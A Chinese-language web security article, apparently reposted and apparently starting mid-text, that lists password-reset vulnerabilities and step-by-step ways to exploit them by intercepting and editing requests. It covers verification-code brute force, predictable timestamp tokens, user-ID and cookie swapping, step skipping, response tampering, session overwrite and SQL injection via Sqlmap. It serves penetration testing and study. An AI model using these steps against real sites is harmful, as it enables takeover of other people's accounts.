所以只要在暴力破解的同時,改變手機號后面的字符即可達到漏洞效果
根據手機號找回密碼,但是驗證次數被限制,抓包
可以嘗試在手機號后面添加不為數字的字符,查看是否過濾
根據手機號找回密碼,隨便輸個驗證碼,抓包
暴力破解驗證碼(假如只有四位),很快就可以破解出來
四位或六位純數字,驗證碼次數未限制
例如:
如果驗證碼次數限制,破解一會就會提示請求過於頻繁,這時就需要繞過限制
例如:
通過密保問題找回密碼,查看源碼,密保問題和答案就在源碼中顯示

返回憑證(驗證碼 及 token)、郵箱弱 token、用戶憑證有效性、重新綁定

抓包,可以發現返回的數據中有一個加密的字符串(token),先記錄下這個加密字符串

繼續按照正常流程,登錄郵箱獲得驗證碼,返回填寫驗證碼后,進入下一個填寫新密碼頁面,發現 URL 后新增了一個加密驗證的字符串

這個字符串就是之前數據包中記錄的字符串,所以郵箱驗證碼這個環節可以繞過,直接用他人郵箱抓包獲得加密字符串就可以重置他人密碼

根據手機號找回密碼,抓包,可以發現驗證碼直接顯示 verifycode=xxxx,或者由 md5 加密后顯示,解密即可(同理,有的時候輸入用戶名,抓包可以看到返回的手機號等其他信息)

根據郵箱找回密碼,抓包直接返回,密碼找回憑證可能在頁面中

例如:
利用兩個帳號同時點擊找回密碼,去郵箱查看找回密碼的鏈接,發現兩者的隨機 token 只差1-2,而且可以猜測出為服務器時間
所以可以用一個未知帳號和一個已知帳號同時點擊找回密碼,稍微遍歷一下隨機 token,就可以構造出未知帳號的密碼找回鏈接
例如:
通過郵箱找回密碼,正常流程去郵箱查看重置密碼鏈接,發現鏈接處有一串 md5 加密字符串
字符串解密,類似 1491293277(10位),可以判斷為 Unix時間戳,(可能md5)
重置他人密碼只需要利用他人郵箱發送重置密碼郵箱,在短時間內對 Unix時間戳 進行暴力破解,即可獲得重置密碼的鏈接
重置密碼鏈接直接使用用戶名來區別,改變用戶名即可更改他人密碼

繞過token

正常流程下,對每個功能模塊進行抓包,分別是發送驗證碼,驗證驗證碼是否正確,獲取 token,重置密碼

接下來,用他人帳號通過郵箱驗證,抓包,將其中 Cookie 內從 JSESSIONID 開始的內容替換至正常流程的發生驗證碼包內,同時替換自己接受驗證碼的郵箱,提交

通過郵箱獲取驗證碼后,將驗證碼、Cookie、他人帳號、自己郵箱替換至驗證驗證碼模塊,提交(不用在意返回是否錯誤)

繼續替換內至獲取 token 模塊,提交獲取 token

最后將獲取的 token 和上面的內容替換至最后的重置密碼模塊,提交成功修改密碼

例如:
通過郵箱找回密碼,訪問鏈接重置密碼,輸入新密碼后提交時抓包,雖然有 token,但是依然可以直接修改 用戶ID 進而修改他人密碼
例如:
通過他人手機號找回密碼,抓包,將他人手機號替換成自己的手機號,獲取驗證碼,提交后修改密碼
通過自己手機號找回密碼,獲取驗證碼后抓包,將數據包中的 username 改為他人用戶名,提交后成功修改他人密碼

短信驗證碼、郵箱 token、重置密碼 token

例如:
通過郵箱找回密碼,URL 鏈接中修改 用戶ID 為他人,郵箱不變,之后通過鏈接可以將他人賬戶綁定為自己的郵箱,之后通過郵箱找回密碼
例如:
給已知賬戶綁定手機,發現綁定手機的 URL 鏈接中有 uid 參數,修改 uid 參數為他人的,即可實現將他人的賬戶綁定上自己的手機,之后通過手機來修改密碼
修改個人資料處抓包,修改 userId 為他人,修改 mobilePhone 為自己的手機,即可實現將他人的賬戶綁定上自己的手機,之后通過手機來修改密碼

手機綁定、郵箱綁定

例如:
通過密碼保護問題找回密碼,抓包,將密碼保護問題刪除,直接修改密碼,提交
注:此處密保問題和新密碼在同一頁面
例如:
正常流程,通過手機號提交驗證碼找回密碼處抓包,記錄下這個包的內容
通過已知用戶名找回密碼,查看源代碼可以發現用戶其他信息(比如:手機號、郵箱)
通過發現的手機號選擇通過手機找回密碼,隨便輸入短信驗證碼,抓包
修改之前記錄下的包的內容,將其中 Session id、用戶ID 修改為剛剛從其他用戶名抓包獲得的內容,提交這個包,即可成功修改他人密碼

最終提交步驟

例如:
通過郵箱找回密碼,最后通過鏈接至修改密碼頁面,修改密碼后提交,抓包,獲得 Uid參數,修改為他人,即可修改其他用戶密碼

服務器驗證的驗證邏輯為空(繞過認證)

例如:
通過郵箱找回密碼,點擊請重新發送郵件處抓包,將郵箱改為自己的郵箱,通過鏈接成功修改密碼
例如:
通過手機找回密碼,輸入驗證碼和新的密碼,F12 審查元素,修改自己的手機為他人手機,提交成功修改他人手機(也可以抓包修改)
例如:
正常流程下,密碼找回,查看最后設置新密碼頁面的 URL,記錄下來
繼續返回密碼找回處,輸入其他用戶名,提交找回申請,直接訪問上面記錄下的修改密碼頁面,成功修改密碼
也可以正常流程下,修改密碼頁面抓包,修改其中的 USERNAME_COOKIE 為其他用戶(有可能會經過編碼,比如 base64),提交即可修改其他用戶密碼
如果抓包其中有 step 參數,可以修改這個參數為最后一步(比如:5),提交便可略過之前的步驟
跳過驗證步驟、找回方式、直接到設置新密碼頁面
例如:
通過用戶名找回密碼,提交后會自動發送驗證碼到手機中,所以抓包,修改手機為自己的手機(如果其中有 type 之類的參數,也可以嘗試修改,有 email之類的參數,可以嘗試刪除內容)
發送修改后的包,手機成功接收驗證碼
輸入驗證碼,繼續發送,抓包,如果有 type 之類的參數,可以繼續嘗試修改,發送就可以成功修改密碼
例如:
通過手機找回密碼,隨便輸入驗證碼,抓包,發送,攔截返回包
修改返回包中的返回碼,繼續發送,說不定就可以繞過驗證,直接跳到修改密碼的頁面
通過手機找回密碼,正常流程下到重置密碼頁面,抓包查看返回數據中有一段加密字符串
利用他人手機找回密碼,URL 跳轉到驗證身份頁面,鏈接中就有一段加密字符串,記錄下,隨便輸入驗證碼
抓包,修改包中數據為正常流程下的數據,替換加密字符串,
Forward
發送,就可以繞過驗證碼,直接修改密碼

輸入用戶名,加個單引號報錯,說明可能存在報錯,抓包,保存為 txt 文件,導入 Sqlmap 中跑一遍

找回密碼處存在注入漏洞(見框就×)

通過郵箱找回密碼,正常流程下,抓包查看提交驗證碼后返回的數據,發現有加密字符串,這個加密字符串和后面重新設置新密碼 URL 鏈接中的加密字符串一樣,所以可以利用這個加密字符串

根據上面提交驗證碼的抓包,修改其中的 User 為其他用戶(User 有可能會使用 md5 加密),發送,就可以返回其他用戶的加密字符串

重新返回到找回密碼首頁,利用其他用戶找回,點下一步,到輸入驗證碼處(也有可能需要點擊發送驗證碼),直接修改 URL 鏈接,加入加密字符串,可以直接繞過驗證碼,重置密碼

session覆蓋漏洞

注冊重復的用戶名,例如 admin,相當於修改了密碼

同一瀏覽器,首先輸入自己的賬戶進行郵箱密碼找回,進入郵箱查看鏈接,接着輸入他人賬戶,進行密碼找回,返回剛剛自己的郵箱點擊鏈接,由於 session 覆蓋導致了,這個鏈接成為了修改他人密碼的鏈接,成功修改他人密碼

嘗試正常密碼找回流程

選擇不同的找回方式,記錄所有數據包

郵箱找回密碼

根據密碼保護問題找回密碼

根據手機號找回密碼

分析數據包,找出敏感部分

分析后台找回機制所采用的驗證手段

修改數據包進行驗證是否存在密碼找回漏洞


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM